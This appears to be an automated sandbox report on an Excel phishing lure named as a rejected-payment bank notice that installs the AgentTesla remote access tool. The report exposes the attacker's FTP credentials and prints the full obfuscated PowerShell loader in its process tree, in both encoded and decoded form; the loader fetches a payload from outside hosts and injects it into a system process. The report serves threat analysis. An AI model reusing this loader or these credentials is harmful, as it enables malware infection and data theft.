Analysis

  • max time kernel
    119s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    29-02-2024 20:00

General

  • Target

    informe bancario y motivo del pago rechazado.xls

  • Size

    30KB

  • MD5

    40e068be98ea0b6ca31af370328840b6

  • SHA1

    11e7096e6268536aa7e80e6f87c0c7815b067566

  • SHA256

    d7ae9c118c01c6751d64e011c70f601a73cb566df9ab3d43d25e69e30a5d8e4a

  • SHA512

    d7f114e8a91535e98a2ff1c492879ccb9b4979e9cfcfaab612cc80bb88c80f55f15bbc0dfc080175f509dd282c43712b60990dd1eed9cac84d0c4e5283f5a8a9

  • SSDEEP

    768:grYJUWXzyicoPdTeSGoqfSE8yCFDKPcM6c:grYhX2NATeSlzJqcM

Malware Config

Extracted

Family

agenttesla

Credentials

  • Protocol:
    ftp
  • Host:
    ftp://ftp.elquijotebanquetes.com
  • Port:
    21
  • Username:
    [email protected]
  • Password:
    4r@d15PS!-!h

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Blocklisted process makes network request 5 IoCs
  • Abuses OpenXML format to download file from external location
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde "C:\Users\Admin\AppData\Local\Temp\informe bancario y motivo del pago rechazado.xls"
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2036
  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" -Embedding
    1⤵
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1968
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2300
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • Blocklisted process makes network request
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:1512
      • C:\Windows\SysWOW64\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\morning.vbs"
        2⤵
        • Blocklisted process makes network request
        • Suspicious use of WriteProcessMemory
        PID:2280
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$codigo = 'ZgB1DgTreG4DgTreYwB0DgTreGkDgTrebwBuDgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreB7DgTreCDgTreDgTrecDgTreBhDgTreHIDgTreYQBtDgTreCDgTreDgTreKDgTreBbDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreFsDgTreXQBdDgTreCQDgTrebDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreCDgTreDgTrePQDgTregDgTreE4DgTreZQB3DgTreC0DgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreE4DgTreZQB0DgTreC4DgTreVwBlDgTreGIDgTreQwBsDgTreGkDgTreZQBuDgTreHQDgTreOwDgTregDgTreCQDgTrecwBoDgTreHUDgTreZgBmDgTreGwDgTreZQBkDgTreEwDgTreaQBuDgTreGsDgTrecwDgTregDgTreD0DgTreIDgTreBHDgTreGUDgTredDgTreDgTretDgTreFIDgTreYQBuDgTreGQDgTrebwBtDgTreCDgTreDgTreLQBJDgTreG4DgTrecDgTreB1DgTreHQDgTreTwBiDgTreGoDgTreZQBjDgTreHQDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTregDgTreC0DgTreQwBvDgTreHUDgTrebgB0DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreLgBMDgTreGUDgTrebgBnDgTreHQDgTreaDgTreDgTre7DgTreCDgTreDgTreZgBvDgTreHIDgTreZQBhDgTreGMDgTreaDgTreDgTregDgTreCgDgTreJDgTreBsDgTreGkDgTrebgBrDgTreCDgTreDgTreaQBuDgTreCDgTreDgTreJDgTreBzDgTreGgDgTredQBmDgTreGYDgTrebDgTreBlDgTreGQDgTreTDgTreBpDgTreG4DgTreawBzDgTreCkDgTreIDgTreB7DgTreCDgTreDgTredDgTreByDgTreHkDgTreIDgTreB7DgTreCDgTreDgTrecgBlDgTreHQDgTredQByDgTreG4DgTreIDgTreDgTrekDgTreHcDgTreZQBiDgTreEMDgTrebDgTreBpDgTreGUDgTrebgB0DgTreC4DgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreKDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTreKQDgTregDgTreH0DgTreIDgTreBjDgTreGEDgTredDgTreBjDgTreGgDgTreIDgTreB7DgTreCDgTreDgTreYwBvDgTreG4DgTredDgTreBpDgTreG4DgTredQBlDgTreCDgTreDgTrefQDgTregDgTreH0DgTreOwDgTregDgTreHIDgTreZQB0DgTreHUDgTrecgBuDgTreCDgTreDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCDgTreDgTrefQDgTre7DgTreCDgTreDgTreJDgTreBsDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreQDgTreDgTreoDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreBzDgTreDoDgTreLwDgTrevDgTreHUDgTrecDgTreBsDgTreG8DgTreYQBkDgTreGQDgTreZQBpDgTreG0DgTreYQBnDgTreGUDgTrebgBzDgTreC4DgTreYwBvDgTreG0DgTreLgBiDgTreHIDgTreLwBpDgTreG0DgTreYQBnDgTreGUDgTrecwDgTrevDgTreDDgTreDgTreMDgTreDgTre0DgTreC8DgTreNwDgTrezDgTreDkDgTreLwDgTreyDgTreDIDgTreNwDgTrevDgTreG8DgTrecgBpDgTreGcDgTreaQBuDgTreGEDgTrebDgTreDgTrevDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTrePwDgTrexDgTreDcDgTreMDgTreDgTre3DgTreDgDgTreMgDgTre2DgTreDIDgTreMgDgTreyDgTreCcDgTreLDgTreDgTregDgTreCcDgTreaDgTreB0DgTreHQDgTrecDgTreDgTre6DgTreC8DgTreLwDgTre0DgTreDUDgTreLgDgTre3DgTreDQDgTreLgDgTrexDgTreDkDgTreLgDgTre4DgTreDQDgTreLwB4DgTreGEDgTrebQBwDgTreHDgTreDgTreLwBiDgTreGsDgTrecDgTreDgTrevDgTreHYDgTreYgBzDgTreF8DgTrebgBvDgTreHYDgTrebwBfDgTreG4DgTreZQB3DgTreF8DgTreaQBtDgTreGEDgTreZwBlDgTreC4DgTreagBwDgTreGcDgTreJwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreRDgTreBvDgTreHcDgTrebgBsDgTreG8DgTreYQBkDgTreEQDgTreYQB0DgTreGEDgTreRgByDgTreG8DgTrebQBMDgTreGkDgTrebgBrDgTreHMDgTreIDgTreDgTrekDgTreGwDgTreaQBuDgTreGsDgTrecwDgTre7DgTreCDgTreDgTreaQBmDgTreCDgTreDgTreKDgTreDgTrekDgTreGkDgTrebQBhDgTreGcDgTreZQBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTretDgTreG4DgTreZQDgTregDgTreCQDgTrebgB1DgTreGwDgTrebDgTreDgTrepDgTreCDgTreDgTreewDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreFQDgTreZQB4DgTreHQDgTreLgBFDgTreG4DgTreYwBvDgTreGQDgTreaQBuDgTreGcDgTreXQDgTre6DgTreDoDgTreVQBUDgTreEYDgTreODgTreDgTreuDgTreEcDgTreZQB0DgTreFMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreQgB5DgTreHQDgTreZQBzDgTreCkDgTreOwDgTregDgTreCQDgTrecwB0DgTreGEDgTrecgB0DgTreEYDgTrebDgTreBhDgTreGcDgTreIDgTreDgTre9DgTreCDgTreDgTreJwDgTre8DgTreDwDgTreQgBBDgTreFMDgTreRQDgTre2DgTreDQDgTreXwBTDgTreFQDgTreQQBSDgTreFQDgTrePgDgTre+DgTreCcDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreRgBsDgTreGEDgTreZwDgTregDgTreD0DgTreIDgTreDgTrenDgTreDwDgTrePDgTreBCDgTreEEDgTreUwBFDgTreDYDgTreNDgTreBfDgTreEUDgTreTgBEDgTreD4DgTrePgDgTrenDgTreDsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreEkDgTrebgBkDgTreGUDgTreeDgTreBPDgTreGYDgTreKDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTrePQDgTregDgTreCQDgTreaQBtDgTreGEDgTreZwBlDgTreFQDgTreZQB4DgTreHQDgTreLgBJDgTreG4DgTreZDgTreBlDgTreHgDgTreTwBmDgTreCgDgTreJDgTreBlDgTreG4DgTreZDgTreBGDgTreGwDgTreYQBnDgTreCkDgTreOwDgTregDgTreGkDgTreZgDgTregDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreGUDgTreIDgTreDgTrewDgTreCDgTreDgTreLQBhDgTreG4DgTreZDgTreDgTregDgTreCQDgTreZQBuDgTreGQDgTreSQBuDgTreGQDgTreZQB4DgTreCDgTreDgTreLQBnDgTreHQDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreKQDgTregDgTreHsDgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTrerDgTreD0DgTreIDgTreDgTrekDgTreHMDgTredDgTreBhDgTreHIDgTredDgTreBGDgTreGwDgTreYQBnDgTreC4DgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreOwDgTregDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreTDgTreBlDgTreG4DgTreZwB0DgTreGgDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBlDgTreG4DgTreZDgTreBJDgTreG4DgTreZDgTreBlDgTreHgDgTreIDgTreDgTretDgTreCDgTreDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreDsDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEMDgTrebwBtDgTreG0DgTreYQBuDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBpDgTreG0DgTreYQBnDgTreGUDgTreVDgTreBlDgTreHgDgTredDgTreDgTreuDgTreFMDgTredQBiDgTreHMDgTredDgTreByDgTreGkDgTrebgBnDgTreCgDgTreJDgTreBzDgTreHQDgTreYQByDgTreHQDgTreSQBuDgTreGQDgTreZQB4DgTreCwDgTreIDgTreDgTrekDgTreGIDgTreYQBzDgTreGUDgTreNgDgTre0DgTreEwDgTreZQBuDgTreGcDgTredDgTreBoDgTreCkDgTreOwDgTregDgTreCQDgTreYwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreBCDgTreHkDgTredDgTreBlDgTreHMDgTreIDgTreDgTre9DgTreCDgTreDgTreWwBTDgTreHkDgTrecwB0DgTreGUDgTrebQDgTreuDgTreEMDgTrebwBuDgTreHYDgTreZQByDgTreHQDgTreXQDgTre6DgTreDoDgTreRgByDgTreG8DgTrebQBCDgTreGEDgTrecwBlDgTreDYDgTreNDgTreBTDgTreHQDgTrecgBpDgTreG4DgTreZwDgTreoDgTreCQDgTreYgBhDgTreHMDgTreZQDgTre2DgTreDQDgTreQwBvDgTreG0DgTrebQBhDgTreG4DgTreZDgTreDgTrepDgTreDsDgTreIDgTreDgTrekDgTreGwDgTrebwBhDgTreGQDgTreZQBkDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQDgTregDgTreD0DgTreIDgTreBbDgTreFMDgTreeQBzDgTreHQDgTreZQBtDgTreC4DgTreUgBlDgTreGYDgTrebDgTreBlDgTreGMDgTredDgTreBpDgTreG8DgTrebgDgTreuDgTreEEDgTrecwBzDgTreGUDgTrebQBiDgTreGwDgTreeQBdDgTreDoDgTreOgBMDgTreG8DgTreYQBkDgTreCgDgTreJDgTreBjDgTreG8DgTrebQBtDgTreGEDgTrebgBkDgTreEIDgTreeQB0DgTreGUDgTrecwDgTrepDgTreDsDgTreIDgTreDgTrekDgTreHQDgTreeQBwDgTreGUDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreBsDgTreG8DgTreYQBkDgTreGUDgTreZDgTreBBDgTreHMDgTrecwBlDgTreG0DgTreYgBsDgTreHkDgTreLgBHDgTreGUDgTredDgTreBUDgTreHkDgTrecDgTreBlDgTreCgDgTreJwBQDgTreFIDgTreTwBKDgTreEUDgTreVDgTreBPDgTreEEDgTreVQBUDgTreE8DgTreTQBBDgTreEMDgTreQQBPDgTreC4DgTreVgBCDgTreC4DgTreSDgTreBvDgTreG0DgTreZQDgTrenDgTreCkDgTreOwDgTregDgTreCQDgTrebQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreIDgTreDgTre9DgTreCDgTreDgTreJDgTreB0DgTreHkDgTrecDgTreBlDgTreC4DgTreRwBlDgTreHQDgTreTQBlDgTreHQDgTreaDgTreBvDgTreGQDgTreKDgTreDgTrenDgTreFYDgTreQQBJDgTreCcDgTreKQDgTreuDgTreEkDgTrebgB2DgTreG8DgTreawBlDgTreCgDgTreJDgTreBuDgTreHUDgTrebDgTreBsDgTreCwDgTreIDgTreBbDgTreG8DgTreYgBqDgTreGUDgTreYwB0DgTreFsDgTreXQBdDgTreCDgTreDgTreKDgTreDgTrenDgTreHQDgTreeDgTreB0DgTreC4DgTredDgTreBuDgTreGUDgTrebQB1DgTreGMDgTrebwBkDgTreDQDgTreNgBlDgTreHMDgTreYQBiDgTreC8DgTreNgDgTrexDgTreDIDgTreLgDgTre1DgTreDkDgTreLgDgTrezDgTreC4DgTreMgDgTre5DgTreDEDgTreLwDgTrevDgTreDoDgTrecDgTreB0DgTreHQDgTreaDgTreDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCDgTreDgTreLDgTreDgTregDgTreCcDgTreZDgTreBlDgTreHMDgTreYQB0DgTreGkDgTredgBhDgTreGQDgTrebwDgTrenDgTreCwDgTreJwBBDgTreGQDgTreZDgTreBJDgTreG4DgTreUDgTreByDgTreG8DgTreYwBlDgTreHMDgTrecwDgTrezDgTreDIDgTreJwDgTresDgTreCcDgTreJwDgTrepDgTreCkDgTrefQDgTregDgTreH0DgTre';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $codigo.replace('DgTre','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -Noprofile -command $OWjuxD"
          3⤵
          • Drops file in System32 directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1936
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -Noprofile -command "function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://uploaddeimagens.com.br/images/004/739/227/original/new_image.jpg?1707826222', 'http://45.74.19.84/xampp/bkp/vbs_novo_new_image.jpg'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('PROJETOAUTOMACAO.VB.Home'); $method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.tnemucod46esab/612.59.3.291//:ptth' , 'desativado' , 'desativado' , 'desativado','AddInProcess32',''))} }"
            4⤵
            • Blocklisted process makes network request
            • Drops file in System32 directory
            • Suspicious use of SetThreadContext
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2960
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
              5⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:2616

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

      Filesize

      1KB

      MD5

      c73bd0e18f7fc1c33e48067c347c89f0

      SHA1

      3fc928b96216830df372e2ad0c513ed39ce40c11

      SHA256

      48edfe32e27f14fc03145bb94ffca1c6cab13e40f97531bfd56ef18e25446ad2

      SHA512

      e110d2434f67eab20b878d734e9868ae513307055e000e54c66696c2141d9f4ad9e4a32c614d316b0dbad6410fdc4267bb0c7c304fdc27b544decb4fece092d1

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      67KB

      MD5

      753df6889fd7410a2e9fe333da83a429

      SHA1

      3c425f16e8267186061dd48ac1c77c122962456e

      SHA256

      b42dc237e44cbc9a43400e7d3f9cbd406dbdefd62bfe87328f8663897d69df78

      SHA512

      9d56f79410ad0cf852c74c3ef9454e7ae86e80bdd6ff67773994b48ccac71142bcf5c90635da6a056e1406e81e64674db9584928e867c55b77b59e2851cf6444

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27

      Filesize

      408B

      MD5

      977d09a5eeb962bc627e745a535edda8

      SHA1

      e473da6d9a14f53ceeed1788431816eae5034e50

      SHA256

      d234db46dd19118aa35cbaa588c0aae052ce5f7fbdb04ffd16b5b59f5e13543b

      SHA512

      0411c1ab755756f0362cef0f7a257ec0ba1a177709c823aadbb5764ee6ea89a492988eaab98d2a870d5ca73247bf5293864834b502034b8fcf67c8d0d21e67b3

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

      Filesize

      344B

      MD5

      2b8a8e7cdda4439f6f1c43082c4415e9

      SHA1

      435357bffccedde176eb1ce625c984ca6e483523

      SHA256

      58466e96fda1c23660c9b5ff765708fe88f61fd6d26bc59e2bedbd20c51aa4bf

      SHA512

      5f87b6b15d4a953fb776f779f925614b84eed22a61d69120467d4f01da2c4ec8b3f9ebe103159f210469a30f67ca417fd8f487cc52579dc5fe836e9682f897f8

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{D9C834F3-706C-4537-9822-1EBBA7527E64}.FSD

      Filesize

      128KB

      MD5

      796ebd8407b06d01dce1916d43731d80

      SHA1

      31fdfe5747bd5820dbdccb0de4d79659d2e99c82

      SHA256

      9422280cbe703bccdaaa4d6f7fb8c778e08ddc4d327926e52211e2c301408b37

      SHA512

      f51396d0acb23ecb49d581e41cabe9dbe81c4e1377792419017981150a9723d1253e26bbe2f23aa341ec36545e8383e34f7005f84686b82097b395a57dd593e7

    • C:\Users\Admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD

      Filesize

      128KB

      MD5

      5a63e89449d33813fb9a77dc0e098427

      SHA1

      091d41c7bf8260e504b0e4a61f6747f952718f1c

      SHA256

      1e4342f153d87d8f2bb4ba378c3c8bab91f330e3ee68f4d5bbd7e6fa4281ac06

      SHA512

      69f011ebffc799c8292b4de1f8167fc2a710704b8fc620e47dde91507df833ffb33576263155dbc7ca7c25e08b94468b5e7048f960dd56d9b828e0dc8553b4b3

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HQQVSTWU\mrngunlockurpurelovetounderstandhowimportanitsitogetreadyforlovetogetgreatlovertogetgreatlover[1].doc

      Filesize

      69KB

      MD5

      90454adfffe4a15a04a97ad173fd2ca3

      SHA1

      91b00307970f914356907c4e9655e68efa6515fb

      SHA256

      82e52b61e68ba6d8644476c6b23061b528053aa8a8d1f9fd85979a77f02e7edd

      SHA512

      28dde52c89e79c52ce5a03a582aa537126e2e57d26622f977356eac9533a14e37e4943b845ae68e2393267e66a3a3ce81873ecabe4ee6994974997a15b87d6e8

    • C:\Users\Admin\AppData\Local\Temp\Tar547E.tmp

      Filesize

      175KB

      MD5

      dd73cead4b93366cf3465c8cd32e2796

      SHA1

      74546226dfe9ceb8184651e920d1dbfb432b314e

      SHA256

      a6752b7851b591550e4625b832a393aabcc428de18d83e8593cd540f7d7cae22

      SHA512

      ce1bdd595065c94fa528badf4a6a8777893807d6789267612755df818ba6ffe55e4df429710aea29526ee4aa8ef20e25f2f05341da53992157d21ae032c0fb63

    • C:\Users\Admin\AppData\Local\Temp\{3B1846D6-62B8-4B71-8BA7-BE4E612F94D1}

      Filesize

      128KB

      MD5

      e91705d4e72c345399fb4b103818bf56

      SHA1

      23e4fd250a028245b2d493a1bee4bc04179514c0

      SHA256

      83c93b165c7e833126654c0713fa1d4ca8fb4e9051aae04ccbc49d4a0160e05b

      SHA512

      d29200333abdf9a7b2be95717e6201678036557cc8c98ad219a20fbada2c93562a325f5b5a98a5ef3d87f103fc50559b41c902ddfbe43f34f7985e886365d808

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      4c40d2b50d17e5476065672620f2058a

      SHA1

      5c4f78eb718c27159b180163e1b078b8188b82f6

      SHA256

      7c84251948f1358bf0c6b5190d7acc8753f5008eb29ddf6e76f599f77fc072fc

      SHA512

      ea3e0048f7ef3b957f87a26a3ba622f07485569df5c64893a23cee879f1b81c505b1a82cec5962a42d69915f23ebfb3eeafa9a04114101cbe9c3ab160c65a817

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\G8E28E5R.txt

      Filesize

      166B

      MD5

      82a019e7ddbe1136b18a81c3132a6ee2

      SHA1

      40927c330deb8b621b6e9bbad6dbaf5dcca4f454

      SHA256

      01a175f13f8015def0cd89a2bddf20445d54d7271021d9d68eab62c27a0274fc

      SHA512

      11753a3a50be619371507cb9cd1d51e7802afbeb8dc5f8b7ece15b855bd22237d3e913e31c6bf4f027503263109fd194fa853c11320606ccba26884b53ed9c23

    • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

      Filesize

      7KB

      MD5

      4a98cb14d90804e9f4b4291032ab3d9b

      SHA1

      cc139ba669fab6a5ebc98c10bcd6b70801633924

      SHA256

      4cbc610770ff66ef52a7b6f70e48f8d972532e214c99b550771f6056985f40d6

      SHA512

      0c5de14418b706f417738f3ced3a9d8c1c1f9d8d05d1756f22aafd3c6cc7ba6aa190a10fa330caafd4c58d50d5803c6eedda26cf75da3470c6d5038bf58f2dc0

    • C:\Users\Admin\AppData\Roaming\morning.vbs

      Filesize

      1KB

      MD5

      761483cb58a23f68e9d439fae4ccf44c

      SHA1

      e3ded90f50068195cdcf39a382aadfebbf7cc72d

      SHA256

      35c9ee0fc9a549fef561c149cf3d62531f536372a5e8068d75f1bcfd7c710d00

      SHA512

      205fcf6c6f33db1d06a8c0c66993a6379db659c1338cc445e9b72c2114651e9f7ebbf9a13a81856ba1f1025b19aae7cde5778bdf09e446eb58b29718c4e10fe1

    • \??\PIPE\srvsvc

      MD5

      d41d8cd98f00b204e9800998ecf8427e

      SHA1

      da39a3ee5e6b4b0d3255bfef95601890afd80709

      SHA256

      e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

      SHA512

      cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

    • memory/1936-219-0x000000006A1F0000-0x000000006A79B000-memory.dmp

      Filesize

      5.7MB

    • memory/1936-192-0x000000006A1F0000-0x000000006A79B000-memory.dmp

      Filesize

      5.7MB

    • memory/1936-194-0x00000000023A0000-0x00000000023E0000-memory.dmp

      Filesize

      256KB

    • memory/1936-176-0x000000006A1F0000-0x000000006A79B000-memory.dmp

      Filesize

      5.7MB

    • memory/1936-177-0x00000000023A0000-0x00000000023E0000-memory.dmp

      Filesize

      256KB

    • memory/1936-178-0x000000006A1F0000-0x000000006A79B000-memory.dmp

      Filesize

      5.7MB

    • memory/1936-179-0x00000000023A0000-0x00000000023E0000-memory.dmp

      Filesize

      256KB

    • memory/1936-195-0x00000000023A0000-0x00000000023E0000-memory.dmp

      Filesize

      256KB

    • memory/1936-193-0x00000000023A0000-0x00000000023E0000-memory.dmp

      Filesize

      256KB

    • memory/1968-191-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/1968-57-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/1968-245-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/1968-244-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/1968-59-0x00000000036D0000-0x00000000036D2000-memory.dmp

      Filesize

      8KB

    • memory/1968-55-0x000000002FE01000-0x000000002FE02000-memory.dmp

      Filesize

      4KB

    • memory/2036-247-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/2036-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2036-1-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/2036-185-0x000000007281D000-0x0000000072828000-memory.dmp

      Filesize

      44KB

    • memory/2036-60-0x0000000002D30000-0x0000000002D32000-memory.dmp

      Filesize

      8KB

    • memory/2616-208-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/2616-218-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/2616-249-0x0000000004B30000-0x0000000004B70000-memory.dmp

      Filesize

      256KB

    • memory/2616-204-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

    • memory/2616-206-0x0000000000400000-0x0000000000442000-memory.dmp

      Filesize

      264KB

